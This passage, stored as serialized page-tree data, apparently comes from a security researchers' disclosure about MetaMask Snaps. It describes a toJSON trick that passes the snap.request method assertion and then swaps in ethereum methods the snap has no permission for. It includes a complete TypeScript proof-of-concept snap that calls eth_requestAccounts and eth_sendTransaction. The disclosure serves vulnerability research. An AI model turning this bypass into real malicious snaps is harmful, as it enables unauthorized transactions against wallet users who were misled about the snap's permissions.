(",{"type":24,"tag":271,"props":46817,"children":46818},{"style":630},[46819],{"type":29,"value":46820},"value",{"type":24,"tag":271,"props":46822,"children":46823},{"style":288},[46824],{"type":29,"value":8823},{"type":24,"tag":271,"props":46826,"children":46827},{"style":278},[46828],{"type":29,"value":22519},{"type":24,"tag":271,"props":46830,"children":46831},{"style":288},[46832],{"type":29,"value":7145},{"type":24,"tag":271,"props":46834,"children":46835},{"class":273,"line":284},[46836,46840,46844,46848,46852,46856],{"type":24,"tag":271,"props":46837,"children":46838},{"style":598},[46839],{"type":29,"value":46228},{"type":24,"tag":271,"props":46841,"children":46842},{"style":288},[46843],{"type":29,"value":606},{"type":24,"tag":271,"props":46845,"children":46846},{"style":630},[46847],{"type":29,"value":46820},{"type":24,"tag":271,"props":46849,"children":46850},{"style":288},[46851],{"type":29,"value":158},{"type":24,"tag":271,"props":46853,"children":46854},{"style":630},[46855],{"type":29,"value":46802},{"type":24,"tag":271,"props":46857,"children":46858},{"style":288},[46859],{"type":29,"value":1155},{"type":24,"tag":271,"props":46861,"children":46862},{"class":273,"line":294},[46863,46867,46871,46875,46880],{"type":24,"tag":271,"props":46864,"children":46865},{"style":749},[46866],{"type":29,"value":1842},{"type":24,"tag":271,"props":46868,"children":46869},{"style":630},[46870],{"type":29,"value":45196},{"type":24,"tag":271,"props":46872,"children":46873},{"style":288},[46874],{"type":29,"value":41},{"type":24,"tag":271,"props":46876,"children":46877},{"style":598},[46878],{"type":29,"value":46879},"parse",{"type":24,"tag":271,"props":46881,"children":46882},{"style":288},[46883],{"type":29,"value":4028},{"type":24,"tag":271,"props":46885,"children":46886},{"class":273,"line":303},[46887,46892,46896,46901,46905,46909,46913,46918,46922,46927,46931,46935],{"type":24,"tag":271,"props":46888,"children":46889},{"style":630},[46890],{"type":29,"value":46891}," JSON",{"type":24,"tag":271,"props":46893,"children":46894},{"style":288},[46895],{"type":29,"value":41},{"type":24,"tag":271,"props":46897,"children":46898},{"style":598},[46899],{"type":29,"value":46900},"stringify",{"type":24,"tag":271,"props":46902,"children":46903},{"style":288},[46904],{"type":29,"value":606},{"type":24,"tag":271,"props":46906,"children":46907},{"style":630},[46908],{"type":29,"value":46820},{"type":24,"tag":271,"props":46910,"children":46911},{"style":288},[46912],{"type":29,"value":16532},{"type":24,"tag":271,"props":46914,"children":46915},{"style":630},[46916],{"type":29,"value":46917},"propKey",{"type":24,"tag":271,"props":46919,"children":46920},{"style":288},[46921],{"type":29,"value":158},{"type":24,"tag":271,"props":46923,"children":46924},{"style":630},[46925],{"type":29,"value":46926},"propValue",{"type":24,"tag":271,"props":46928,"children":46929},{"style":288},[46930],{"type":29,"value":8823},{"type":24,"tag":271,"props":46932,"children":46933},{"style":278},[46934],{"type":29,"value":22519},{"type":24,"tag":271,"props":46936,"children":46937},{"style":288},[46938],{"type":29,"value":7145},{"type":24,"tag":271,"props":46940,"children":46941},{"class":273,"line":312},[46942],{"type":24,"tag":271,"props":46943,"children":46944},{"style":2058},[46945],{"type":29,"value":46946}," // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":24,"tag":271,"props":46948,"children":46949},{"class":273,"line":321},[46950,46955,46959,46963,46967,46972,46976,46981,46985,46990],{"type":24,"tag":271,"props":46951,"children":46952},{"style":749},[46953],{"type":29,"value":46954}," if",{"type":24,"tag":271,"props":46956,"children":46957},{"style":288},[46958],{"type":29,"value":1357},{"type":24,"tag":271,"props":46960,"children":46961},{"style":630},[46962],{"type":29,"value":46917},{"type":24,"tag":271,"props":46964,"children":46965},{"style":624},[46966],{"type":29,"value":39096},{"type":24,"tag":271,"props":46968,"children":46969},{"style":378},[46970],{"type":29,"value":46971}," '__proto__'",{"type":24,"tag":271,"props":46973,"children":46974},{"style":624},[46975],{"type":29,"value":2675},{"type":24,"tag":271,"props":46977,"children":46978},{"style":630},[46979],{"type":29,"value":46980}," propKey",{"type":24,"tag":271,"props":46982,"children":46983},{"style":624},[46984],{"type":29,"value":39096},{"type":24,"tag":271,"props":46986,"children":46987},{"style":378},[46988],{"type":29,"value":46989}," 'constructor'",{"type":24,"tag":271,"props":46991,"children":46992},{"style":288},[46993],{"type":29,"value":919},{"type":24,"tag":271,"props":46995,"children":46996},{"class":273,"line":330},[46997,47001,47006],{"type":24,"tag":271,"props":46998,"children":46999},{"style":749},[47000],{"type":29,"value":8905},{"type":24,"tag":271,"props":47002,"children":47003},{"style":278},[47004],{"type":29,"value":47005}," undefined",{"type":24,"tag":271,"props":47007,"children":47008},{"style":288},[47009],{"type":29,"value":1069},{"type":24,"tag":271,"props":47011,"children":47012},{"class":273,"line":339},[47013],{"type":24,"tag":271,"props":47014,"children":47015},{"style":288},[47016],{"type":29,"value":20365},{"type":24,"tag":271,"props":47018,"children":47019},{"class":273,"line":347},[47020,47025,47030],{"type":24,"tag":271,"props":47021,"children":47022},{"style":749},[47023],{"type":29,"value":47024}," return",{"type":24,"tag":271,"props":47026,"children":47027},{"style":630},[47028],{"type":29,"value":47029}," propValue",{"type":24,"tag":271,"props":47031,"children":47032},{"style":288},[47033],{"type":29,"value":1069},{"type":24,"tag":271,"props":47035,"children":47036},{"class":273,"line":356},[47037],{"type":24,"tag":271,"props":47038,"children":47039},{"style":288},[47040],{"type":29,"value":46213},{"type":24,"tag":271,"props":47042,"children":47043},{"class":273,"line":365},[47044],{"type":24,"tag":271,"props":47045,"children":47046},{"style":288},[47047],{"type":29,"value":46080},{"type":24,"tag":271,"props":47049,"children":47050},{"class":273,"line":374},[47051],{"type":24,"tag":271,"props":47052,"children":47053},{"style":288},[47054],{"type":29,"value":43005},{"type":24,"tag":25,"props":47056,"children":47057},{},[47058,47060,47066,47068,47073,47075,47081,47083,47089],{"type":29,"value":47059},"The function performs a ",{"type":24,"tag":135,"props":47061,"children":47063},{"className":47062},[],[47064],{"type":29,"value":47065},"JSON.parse(JSON.stringify(value))",{"type":29,"value":47067}," in the argument sent to ",{"type":24,"tag":135,"props":47069,"children":47071},{"className":47070},[],[47072],{"type":29,"value":46744},{"type":29,"value":47074},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":24,"tag":135,"props":47076,"children":47078},{"className":47077},[],[47079],{"type":29,"value":47080},"toJSON",{"type":29,"value":47082}," function in a legit ",{"type":24,"tag":135,"props":47084,"children":47086},{"className":47085},[],[47087],{"type":29,"value":47088},"snap.request",{"type":29,"value":47090}," argument:",{"type":24,"tag":3834,"props":47092,"children":47093},{},[47094,47099,47104],{"type":24,"tag":101,"props":47095,"children":47096},{},[47097],{"type":29,"value":47098},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":24,"tag":101,"props":47100,"children":47101},{},[47102],{"type":29,"value":47103},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":24,"tag":101,"props":47105,"children":47106},{},[47107],{"type":29,"value":47108},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":24,"tag":25,"props":47110,"children":47111},{},[47112],{"type":29,"value":47113},"The assertion bypass can be useful on two occasions:",{"type":24,"tag":3834,"props":47115,"children":47116},{},[47117,47122],{"type":24,"tag":101,"props":47118,"children":47119},{},[47120],{"type":29,"value":47121},"forward blocked RPC methods",{"type":24,"tag":101,"props":47123,"children":47124},{},[47125,47127,47132,47134,47140,47142,47147],{"type":29,"value":47126},"Making requests in ",{"type":24,"tag":135,"props":47128,"children":47130},{"className":47129},[],[47131],{"type":29,"value":47088},{"type":29,"value":47133}," that were only supposed to be done within ",{"type":24,"tag":135,"props":47135,"children":47137},{"className":47136},[],[47138],{"type":29,"value":47139},"ethereum.request",{"type":29,"value":47141}," (with ",{"type":24,"tag":135,"props":47143,"children":47145},{"className":47144},[],[47146],{"type":29,"value":46317},{"type":29,"value":47148}," enabled).",{"type":24,"tag":25,"props":47150,"children":47151},{},[47152],{"type":29,"value":47153},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":24,"tag":85,"props":47155,"children":47156},{"id":13380},[47157],{"type":29,"value":13383},{"type":24,"tag":25,"props":47159,"children":47160},{},[47161],{"type":29,"value":47162},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":24,"tag":25,"props":47164,"children":47165},{},[47166],{"type":24,"tag":74,"props":47167,"children":47169},{"alt":7,"src":47168},"/posts/metamask-snaps/note.png",[],{"type":24,"tag":85,"props":47171,"children":47173},{"id":47172},"proof-of-concept",[47174],{"type":29,"value":42497},{"type":24,"tag":25,"props":47176,"children":47177},{},[47178,47180,47185,47187,47192,47194,47200],{"type":29,"value":47179},"To demonstrate the issue, we created a snap without the ",{"type":24,"tag":135,"props":47181,"children":47183},{"className":47182},[],[47184],{"type":29,"value":46317},{"type":29,"value":47186}," permission, and used the ",{"type":24,"tag":135,"props":47188,"children":47190},{"className":47189},[],[47191],{"type":29,"value":45846},{"type":29,"value":47193}," interface to call ",{"type":24,"tag":135,"props":47195,"children":47197},{"className":47196},[],[47198],{"type":29,"value":47199},"eth_sendTransaction",{"type":29,"value":47201},". According to the documentation, this shouldn't be possible:",{"type":24,"tag":261,"props":47203,"children":47205},{"className":43281,"code":47204,"language":43283,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_requestAccounts\",\n params: []\n }\n }\n\n return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_sendTransaction\",\n params: [{\n from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n value: \"0x1\",\n }]\n }\n }\n\n return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n switch (request.method) {\n case 'json':\n return jsonExploit();\n case 'transaction':\n return transactionExploit();\n default:\n throw new Error('Method not found.');\n }\n};\n",[47206],{"type":24,"tag":135,"props":47207,"children":47208},{"__ignoreMap":7},[47209,47242,47249,47256,47273,47302,47309,47334,47341,47373,47384,47401,47414,47421,47428,47435,47467,47474,47481,47488,47504,47531,47538,47561,47568,47599,47610,47626,47638,47659,47674,47691,47699,47706,47713,47720,47751,47758,47765,47825,47832,47860,47877,47892,47908,47923,47935,47965,47972],{"type":24,"tag":271,"props":47210,"children":47211},{"class":273,"line":274},[47212,47216,47220,47225,47229,47233,47238],{"type":24,"tag":271,"props":47213,"children":47214},{"style":749},[47215],{"type":29,"value":27172},{"type":24,"tag":271,"props":47217,"children":47218},{"style":288},[47219],{"type":29,"value":17293},{"type":24,"tag":271,"props":47221,"children":47222},{"style":630},[47223],{"type":29,"value":47224},"OnRpcRequestHandler",{"type":24,"tag":271,"props":47226,"children":47227},{"style":288},[47228],{"type":29,"value":43870},{"type":24,"tag":271,"props":47230,"children":47231},{"style":749},[47232],{"type":29,"value":27162},{"type":24,"tag":271,"props":47234,"children":47235},{"style":378},[47236],{"type":29,"value":47237}," '@metamask/snaps-types'",{"type":24,"tag":271,"props":47239,"children":47240},{"style":288},[47241],{"type":29,"value":1069},{"type":24,"tag":271,"props":47243,"children":47244},{"class":273,"line":284},[47245],{"type":24,"tag":271,"props":47246,"children":47247},{"emptyLinePlaceholder":16},[47248],{"type":29,"value":327},{"type":24,"tag":271,"props":47250,"children":47251},{"class":273,"line":294},[47252],{"type":24,"tag":271,"props":47253,"children":47254},{"emptyLinePlaceholder":16},[47255],{"type":29,"value":327},{"type":24,"tag":271,"props":47257,"children":47258},{"class":273,"line":303},[47259,47263,47268],{"type":24,"tag":271,"props":47260,"children":47261},{"style":278},[47262],{"type":29,"value":39052},{"type":24,"tag":271,"props":47264,"children":47265},{"style":598},[47266],{"type":29,"value":47267}," jsonExploit",{"type":24,"tag":271,"props":47269,"children":47270},{"style":288},[47271],{"type":29,"value":47272},"(){\n",{"type":24,"tag":271,"props":47274,"children":47275},{"class":273,"line":312},[47276,47280,47284,47288,47293,47297],{"type":24,"tag":271,"props":47277,"children":47278},{"style":278},[47279],{"type":29,"value":15571},{"type":24,"tag":271,"props":47281,"children":47282},{"style":630},[47283],{"type":29,"value":26756},{"type":24,"tag":271,"props":47285,"children":47286},{"style":624},[47287],{"type":29,"value":1712},{"type":24,"tag":271,"props":47289,"children":47290},{"style":288},[47291],{"type":29,"value":47292}," [] ",{"type":24,"tag":271,"props":47294,"children":47295},{"style":749},[47296],{"type":29,"value":16555},{"type":24,"tag":271,"props":47298,"children":47299},{"style":3887},[47300],{"type":29,"value":47301}," any\n",{"type":24,"tag":271,"props":47303,"children":47304},{"class":273,"line":321},[47305],{"type":24,"tag":271,"props":47306,"children":47307},{"emptyLinePlaceholder":16},[47308],{"type":29,"value":327},{"type":24,"tag":271,"props":47310,"children":47311},{"class":273,"line":330},[47312,47317,47321,47325,47329],{"type":24,"tag":271,"props":47313,"children":47314},{"style":630},[47315],{"type":29,"value":47316}," x",{"type":24,"tag":271,"props":47318,"children":47319},{"style":288},[47320],{"type":29,"value":41},{"type":24,"tag":271,"props":47322,"children":47323},{"style":630},[47324],{"type":29,"value":45981},{"type":24,"tag":271,"props":47326,"children":47327},{"style":624},[47328],{"type":29,"value":1712},{"type":24,"tag":271,"props":47330,"children":47331},{"style":378},[47332],{"type":29,"value":47333}," \"snap_dialog\"\n",{"type":24,"tag":271,"props":47335,"children":47336},{"class":273,"line":339},[47337],{"type":24,"tag":271,"props":47338,"children":47339},{"emptyLinePlaceholder":16},[47340],{"type":29,"value":327},{"type":24,"tag":271,"props":47342,"children":47343},{"class":273,"line":347},[47344,47348,47352,47356,47360,47365,47369],{"type":24,"tag":271,"props":47345,"children":47346},{"style":630},[47347],{"type":29,"value":47316},{"type":24,"tag":271,"props":47349,"children":47350},{"style":288},[47351],{"type":29,"value":41},{"type":24,"tag":271,"props":47353,"children":47354},{"style":598},[47355],{"type":29,"value":47080},{"type":24,"tag":271,"props":47357,"children":47358},{"style":624},[47359],{"type":29,"value":1712},{"type":24,"tag":271,"props":47361,"children":47362},{"style":288},[47363],{"type":29,"value":47364}," () ",{"type":24,"tag":271,"props":47366,"children":47367},{"style":278},[47368],{"type":29,"value":22519},{"type":24,"tag":271,"props":47370,"children":47371},{"style":288},[47372],{"type":29,"value":7145},{"type":24,"tag":271,"props":47374,"children":47375},{"class":273,"line":356},[47376,47380],{"type":24,"tag":271,"props":47377,"children":47378},{"style":749},[47379],{"type":29,"value":9640},{"type":24,"tag":271,"props":47381,"children":47382},{"style":288},[47383],{"type":29,"value":7145},{"type":24,"tag":271,"props":47385,"children":47386},{"class":273,"line":365},[47387,47392,47397],{"type":24,"tag":271,"props":47388,"children":47389},{"style":630},[47390],{"type":29,"value":47391}," method:",{"type":24,"tag":271,"props":47393,"children":47394},{"style":378},[47395],{"type":29,"value":47396}," \"eth_requestAccounts\"",{"type":24,"tag":271,"props":47398,"children":47399},{"style":288},[47400],{"type":29,"value":638},{"type":24,"tag":271,"props":47402,"children":47403},{"class":273,"line":374},[47404,47409],{"type":24,"tag":271,"props":47405,"children":47406},{"style":630},[47407],{"type":29,"value":47408}," params:",{"type":24,"tag":271,"props":47410,"children":47411},{"style":288},[47412],{"type":29,"value":47413}," []\n",{"type":24,"tag":271,"props":47415,"children":47416},{"class":273,"line":384},[47417],{"type":24,"tag":271,"props":47418,"children":47419},{"style":288},[47420],{"type":29,"value":4385},{"type":24,"tag":271,"props":47422,"children":47423},{"class":273,"line":393},[47424],{"type":24,"tag":271,"props":47425,"children":47426},{"style":288},[47427],{"type":29,"value":13588},{"type":24,"tag":271,"props":47429,"children":47430},{"class":273,"line":402},[47431],{"type":24,"tag":271,"props":47432,"children":47433},{"emptyLinePlaceholder":16},[47434],{"type":29,"value":327},{"type":24,"tag":271,"props":47436,"children":47437},{"class":273,"line":411},[47438,47442,47447,47451,47455,47459,47463],{"type":24,"tag":271,"props":47439,"children":47440},{"style":749},[47441],{"type":29,"value":1842},{"type":24,"tag":271,"props":47443,"children":47444},{"style":630},[47445],{"type":29,"value":47446}," snap",{"type":24,"tag":271,"props":47448,"children":47449},{"style":288},[47450],{"type":29,"value":41},{"type":24,"tag":271,"props":47452,"children":47453},{"style":598},[47454],{"type":29,"value":39167},{"type":24,"tag":271,"props":47456,"children":47457},{"style":288},[47458],{"type":29,"value":606},{"type":24,"tag":271,"props":47460,"children":47461},{"style":630},[47462],{"type":29,"value":6034},{"type":24,"tag":271,"props":47464,"children":47465},{"style":288},[47466],{"type":29,"value":694},{"type":24,"tag":271,"props":47468,"children":47469},{"class":273,"line":420},[47470],{"type":24,"tag":271,"props":47471,"children":47472},{"emptyLinePlaceholder":16},[47473],{"type":29,"value":327},{"type":24,"tag":271,"props":47475,"children":47476},{"class":273,"line":429},[47477],{"type":24,"tag":271,"props":47478,"children":47479},{"style":288},[47480],{"type":29,"value":1171},{"type":24,"tag":271,"props":47482,"children":47483},{"class":273,"line":438},[47484],{"type":24,"tag":271,"props":47485,"children":47486},{"emptyLinePlaceholder":16},[47487],{"type":29,"value":327},{"type":24,"tag":271,"props":47489,"children":47490},{"class":273,"line":447},[47491,47495,47500],{"type":24,"tag":271,"props":47492,"children":47493},{"style":278},[47494],{"type":29,"value":39052},{"type":24,"tag":271,"props":47496,"children":47497},{"style":598},[47498],{"type":29,"value":47499}," transactionExploit",{"type":24,"tag":271,"props":47501,"children":47502},{"style":288},[47503],{"type":29,"value":47272},{"type":24,"tag":271,"props":47505,"children":47506},{"class":273,"line":455},[47507,47511,47515,47519,47523,47527],{"type":24,"tag":271,"props":47508,"children":47509},{"style":278},[47510],{"type":29,"value":15571},{"type":24,"tag":271,"props":47512,"children":47513},{"style":630},[47514],{"type":29,"value":26756},{"type":24,"tag":271,"props":47516,"children":47517},{"style":624},[47518],{"type":29,"value":1712},{"type":24,"tag":271,"props":47520,"children":47521},{"style":288},[47522],{"type":29,"value":47292},{"type":24,"tag":271,"props":47524,"children":47525},{"style":749},[47526],{"type":29,"value":16555},{"type":24,"tag":271,"props":47528,"children":47529},{"style":3887},[47530],{"type":29,"value":47301},{"type":24,"tag":271,"props":47532,"children":47533},{"class":273,"line":464},[47534],{"type":24,"tag":271,"props":47535,"children":47536},{"emptyLinePlaceholder":16},[47537],{"type":29,"value":327},{"type":24,"tag":271,"props":47539,"children":47540},{"class":273,"line":473},[47541,47545,47549,47553,47557],{"type":24,"tag":271,"props":47542,"children":47543},{"style":630},[47544],{"type":29,"value":47316},{"type":24,"tag":271,"props":47546,"children":47547},{"style":288},[47548],{"type":29,"value":41},{"type":24,"tag":271,"props":47550,"children":47551},{"style":630},[47552],{"type":29,"value":45981},{"type":24,"tag":271,"props":47554,"children":47555},{"style":624},[47556],{"type":29,"value":1712},{"type":24,"tag":271,"props":47558,"children":47559},{"style":378},[47560],{"type":29,"value":47333},{"type":24,"tag":271,"props":47562,"children":47563},{"class":273,"line":483},[47564],{"type":24,"tag":271,"props":47565,"children":47566},{"emptyLinePlaceholder":16},[47567],{"type":29,"value":327},{"type":24,"tag":271,"props":47569,"children":47570},{"class":273,"line":491},[47571,47575,47579,47583,47587,47591,47595],{"type":24,"tag":271,"props":47572,"children":47573},{"style":630},[47574],{"type":29,"value":47316},{"type":24,"tag":271,"props":47576,"children":47577},{"style":288},[47578],{"type":29,"value":41},{"type":24,"tag":271,"props":47580,"children":47581},{"style":598},[47582],{"type":29,"value":47080},{"type":24,"tag":271,"props":47584,"children":47585},{"style":624},[47586],{"type":29,"value":1712},{"type":24,"tag":271,"props":47588,"children":47589},{"style":288},[47590],{"type":29,"value":47364},{"type":24,"tag":271,"props":47592,"children":47593},{"style":278},[47594],{"type":29,"value":22519},{"type":24,"tag":271,"props":47596,"children":47597},{"style":288},[47598],{"type":29,"value":7145},{"type":24,"tag":271,"props":47600,"children":47601},{"class":273,"line":499},[47602,47606],{"type":24,"tag":271,"props":47603,"children":47604},{"style":749},[47605],{"type":29,"value":9640},{"type":24,"tag":271,"props":47607,"children":47608},{"style":288},[47609],{"type":29,"value":7145},{"type":24,"tag":271,"props":47611,"children":47612},{"class":273,"line":3188},[47613,47617,47622],{"type":24,"tag":271,"props":47614,"children":47615},{"style":630},[47616],{"type":29,"value":47391},{"type":24,"tag":271,"props":47618,"children":47619},{"style":378},[47620],{"type":29,"value":47621}," \"eth_sendTransaction\"",{"type":24,"tag":271,"props":47623,"children":47624},{"style":288},[47625],{"type":29,"value":638},{"type":24,"tag":271,"props":47627,"children":47628},{"class":273,"line":3247},[47629,47633],{"type":24,"tag":271,"props":47630,"children":47631},{"style":630},[47632],{"type":29,"value":47408},{"type":24,"tag":271,"props":47634,"children":47635},{"style":288},[47636],{"type":29,"value":47637}," [{\n",{"type":24,"tag":271,"props":47639,"children":47640},{"class":273,"line":3255},[47641,47645,47650,47654],{"type":24,"tag":271,"props":47642,"children":47643},{"style":630},[47644],{"type":29,"value":39735},{"type":24,"tag":271,"props":47646,"children":47647},{"style":378},[47648],{"type":29,"value":47649}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":24,"tag":271,"props":47651,"children":47652},{"style":288},[47653],{"type":29,"value":158},{"type":24,"tag":271,"props":47655,"children":47656},{"style":2058},[47657],{"type":29,"value":47658},"// change this to your address\n",{"type":24,"tag":271,"props":47660,"children":47661},{"class":273,"line":3263},[47662,47666,47670],{"type":24,"tag":271,"props":47663,"children":47664},{"style":630},[47665],{"type":29,"value":39751},{"type":24,"tag":271,"props":47667,"children":47668},{"style":378},[47669],{"type":29,"value":47649},{"type":24,"tag":271,"props":47671,"children":47672},{"style":288},[47673],{"type":29,"value":638},{"type":24,"tag":271,"props":47675,"children":47676},{"class":273,"line":3293},[47677,47682,47687],{"type":24,"tag":271,"props":47678,"children":47679},{"style":630},[47680],{"type":29,"value":47681}," value:",{"type":24,"tag":271,"props":47683,"children":47684},{"style":378},[47685],{"type":29,"value":47686}," \"0x1\"",{"type":24,"tag":271,"props":47688,"children":47689},{"style":288},[47690],{"type":29,"value":638},{"type":24,"tag":271,"props":47692,"children":47693},{"class":273,"line":3301},[47694],{"type":24,"tag":271,"props":47695,"children":47696},{"style":288},[47697],{"type":29,"value":47698}," }]\n",{"type":24,"tag":271,"props":47700,"children":47701},{"class":273,"line":3683},[47702],{"type":24,"tag":271,"props":47703,"children":47704},{"style":288},[47705],{"type":29,"value":4385},{"type":24,"tag":271,"props":47707,"children":47708},{"class":273,"line":4486},[47709],{"type":24,"tag":271,"props":47710,"children":47711},{"style":288},[47712],{"type":29,"value":13588},{"type":24,"tag":271,"props":47714,"children":47715},{"class":273,"line":4509},[47716],{"type":24,"tag":271,"props":47717,"children":47718},{"emptyLinePlaceholder":16},[47719],{"type":29,"value":327},{"type":24,"tag":271,"props":47721,"children":47722},{"class":273,"line":4545},[47723,47727,47731,47735,47739,47743,47747],{"type":24,"tag":271,"props":47724,"children":47725},{"style":749},[47726],{"type":29,"value":1842},{"type":24,"tag":271,"props":47728,"children":47729},{"style":630},[47730],{"type":29,"value":47446},{"type":24,"tag":271,"props":47732,"children":47733},{"style":288},[47734],{"type":29,"value":41},{"type":24,"tag":271,"props":47736,"children":47737},{"style":598},[47738],{"type":29,"value":39167},{"type":24,"tag":271,"props":47740,"children":47741},{"style":288},[47742],{"type":29,"value":606},{"type":24,"tag":271,"props":47744,"children":47745},{"style":630},[47746],{"type":29,"value":6034},{"type":24,"tag":271,"props":47748,"children":47749},{"style":288},[47750],{"type":29,"value":1155},{"type":24,"tag":271,"props":47752,"children":47753},{"class":273,"line":4591},[47754],{"type":24,"tag":271,"props":47755,"children":47756},{"style":288},[47757],{"type":29,"value":1171},{"type":24,"tag":271,"props":47759,"children":47760},{"class":273,"line":4628},[47761],{"type":24,"tag":271,"props":47762,"children":47763},{"emptyLinePlaceholder":16},[47764],{"type":29,"value":327},{"type":24,"tag":271,"props":47766,"children":47767},{"class":273,"line":4658},[47768,47772,47776,47781,47785,47790,47794,47799,47804,47808,47812,47817,47821],{"type":24,"tag":271,"props":47769,"children":47770},{"style":749},[47771],{"type":29,"value":45877},{"type":24,"tag":271,"props":47773,"children":47774},{"style":278},[47775],{"type":29,"value":46779},{"type":24,"tag":271,"props":47777,"children":47778},{"style":598},[47779],{"type":29,"value":47780}," onRpcRequest",{"type":24,"tag":271,"props":47782,"children":47783},{"style":624},[47784],{"type":29,"value":12210},{"type":24,"tag":271,"props":47786,"children":47787},{"style":3887},[47788],{"type":29,"value":47789}," OnRpcRequestHandler",{"type":24,"tag":271,"props":47791,"children":47792},{"style":624},[47793],{"type":29,"value":1712},{"type":24,"tag":271,"props":47795,"children":47796},{"style":288},[47797],{"type":29,"value":47798}," ({ ",{"type":24,"tag":271,"props":47800,"children":47801},{"style":630},[47802],{"type":29,"value":47803},"origin",{"type":24,"tag":271,"props":47805,"children":47806},{"style":288},[47807],{"type":29,"value":158},{"type":24,"tag":271,"props":47809,"children":47810},{"style":630},[47811],{"type":29,"value":39167},{"type":24,"tag":271,"props":47813,"children":47814},{"style":288},[47815],{"type":29,"value":47816}," }) ",{"type":24,"tag":271,"props":47818,"children":47819},{"style":278},[47820],{"type":29,"value":22519},{"type":24,"tag":271,"props":47822,"children":47823},{"style":288},[47824],{"type":29,"value":7145},{"type":24,"tag":271,"props":47826,"children":47827},{"class":273,"line":4666},[47828],{"type":24,"tag":271,"props":47829,"children":47830},{"emptyLinePlaceholder":16},[47831],{"type":29,"value":327},{"type":24,"tag":271,"props":47833,"children":47834},{"class":273,"line":4674},[47835,47840,47844,47848,47852,47856],{"type":24,"tag":271,"props":47836,"children":47837},{"style":749},[47838],{"type":29,"value":47839}," switch",{"type":24,"tag":271,"props":47841,"children":47842},{"style":288},[47843],{"type":29,"value":1357},{"type":24,"tag":271,"props":47845,"children":47846},{"style":630},[47847],{"type":29,"value":39167},{"type":24,"tag":271,"props":47849,"children":47850},{"style":288},[47851],{"type":29,"value":41},{"type":24,"tag":271,"props":47853,"children":47854},{"style":630},[47855],{"type":29,"value":45981},{"type":24,"tag":271,"props":47857,"children":47858},{"style":288},[47859],{"type":29,"value":919},{"type":24,"tag":271,"props":47861,"children":47862},{"class":273,"line":4683},[47863,47868,47873],{"type":24,"tag":271,"props":47864,"children":47865},{"style":749},[47866],{"type":29,"value":47867}," case",{"type":24,"tag":271,"props":47869,"children":47870},{"style":378},[47871],{"type":29,"value":47872}," 'json'",{"type":24,"tag":271,"props":47874,"children":47875},{"style":288},[47876],{"type":29,"value":13286},{"type":24,"tag":271,"props":47878,"children":47879},{"class":273,"line":4691},[47880,47884,47888],{"type":24,"tag":271,"props":47881,"children":47882},{"style":749},[47883],{"type":29,"value":47024},{"type":24,"tag":271,"props":47885,"children":47886},{"style":598},[47887],{"type":29,"value":47267},{"type":24,"tag":271,"props":47889,"children":47890},{"style":288},[47891],{"type":29,"value":4230},{"type":24,"tag":271,"props":47893,"children":47894},{"class":273,"line":4708},[47895,47899,47904],{"type":24,"tag":271,"props":47896,"children":47897},{"style":749},[47898],{"type":29,"value":47867},{"type":24,"tag":271,"props":47900,"children":47901},{"style":378},[47902],{"type":29,"value":47903}," 'transaction'",{"type":24,"tag":271,"props":47905,"children":47906},{"style":288},[47907],{"type":29,"value":13286},{"type":24,"tag":271,"props":47909,"children":47910},{"class":273,"line":4716},[47911,47915,47919],{"type":24,"tag":271,"props":47912,"children":47913},{"style":749},[47914],{"type":29,"value":47024},{"type":24,"tag":271,"props":47916,"children":47917},{"style":598},[47918],{"type":29,"value":47499},{"type":24,"tag":271,"props":47920,"children":47921},{"style":288},[47922],{"type":29,"value":4230},{"type":24,"tag":271,"props":47924,"children":47925},{"class":273,"line":10423},[47926,47931],{"type":24,"tag":271,"props":47927,"children":47928},{"style":749},[47929],{"type":29,"value":47930}," default",{"type":24,"tag":271,"props":47932,"children":47933},{"style":288},[47934],{"type":29,"value":13286},{"type":24,"tag":271,"props":47936,"children":47937},{"class":273,"line":10431},[47938,47943,47947,47952,47956,47961],{"type":24,"tag":271,"props":47939,"children":47940},{"style":749},[47941],{"type":29,"value":47942}," throw",{"type":24,"tag":271,"props":47944,"children":47945},{"style":278},[47946],{"type":29,"value":39603},{"type":24,"tag":271,"props":47948,"children":47949},{"style":598},[47950],{"type":29,"value":47951}," Error",{"type":24,"tag":271,"props":47953,"children":47954},{"style":288},[47955],{"type":29,"value":606},{"type":24,"tag":271,"props":47957,"children":47958},{"style":378},[47959],{"type":29,"value":47960},"'Method not found.'",{"type":24,"tag":271,"props":47962,"children":47963},{"style":288},[47964],{"type":29,"value":1155},{"type":24,"tag":271,"props":47966,"children":47967},{"class":273,"line":10439},[47968],{"type":24,"tag":271,"props":47969,"children":47970},{"style":288},[47971],{"type":29,"value":13588},{"type":24,"tag":271,"props":47973,"children":47974},{"class":273,"line":10447},[47975],{"type":24,"tag":271,"props":47976,"children":47977},{"style":288},[47978],{"type":29,"value":4006},{"type":24,"tag":25,"props":47980,"children":47981},{},[47982,47984,47990,47992,47997],{"type":29,"value":47983},"We set ",{"type":24,"tag":135,"props":47985,"children":47987},{"className":47986},[],[47988],{"type":29,"value":47989},"x.method = \"snap_dialog\"",{"type":29,"value":47991}," to pass the assertion and setup a toJSON function to change this method to ",{"type":24,"tag":135,"props":47993,"children":47995},{"className":47994},[],[47996],{"type":29,"value":47199},{"type":29,"value":47998}," 